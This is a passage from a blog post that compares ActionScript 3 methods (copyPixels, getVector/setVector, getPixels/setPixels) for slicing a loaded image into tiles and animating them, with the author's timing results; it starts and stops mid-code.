<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 <span style="color: #000000; font-weight: bold;">var</span> currTile:BitmapData= <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span>tileWidth, tileHeight, <span style="color: #000000; font-weight: bold;">true</span>, 0x00000000<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 currTile.<span style="color: #006600;">copyPixels</span><span style="color: #66cc66;">&#40;</span>image, rect, pnt, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
			 tiles<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = currTile;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;copyPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			<span style="color: #000000; font-weight: bold;">var</span> tile:BitmapData= tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">copyPixels</span><span style="color: #66cc66;">&#40;</span>tile, tile.<span style="color: #006600;">rect</span>, loc, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;copyPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>in my machine (mbp, osx) it takes <strong>~27</strong> ms to extract data and ~2-3ms each iteration for setting data on the canvas bitmapData</p>
<p>Second strike: getVector\<strong>setVector</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code24'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p14424"><td class="code" id="p144code24"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>Vector.<span style="color: #66cc66;">&lt;</span>uint<span style="color: #66cc66;">&gt;&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Vector.<span style="color: #66cc66;">&lt;</span>uint<span style="color: #66cc66;">&gt;&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> tileRect:Rectangle;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	tileRect = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 tiles<span style="color: #66cc66;">&#91;</span>tiles.<span style="color: #0066CC;">length</span><span style="color: #66cc66;">&#93;</span> = image.<span style="color: #006600;">getVector</span><span style="color: #66cc66;">&#40;</span>rect<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;vector push:&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> tmpVec:Vector.<span style="color: #66cc66;">&lt;</span>uint<span style="color: #66cc66;">&gt;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		  	tmpVec = tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			tileRect.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			tileRect.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">setVector</span><span style="color: #66cc66;">&#40;</span>tileRect,tmpVec<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;vector push:&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>on my machine it takes only <strong>~9</strong> ms to extract tiles slices (yes, 3 times faster!!!) and ~1ms for pushing them all in the canvas for each loop iteration</p>
<p>Third strike: <strong>getPixels\setPixels</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code25'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p14425"><td class="code" id="p144code25"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
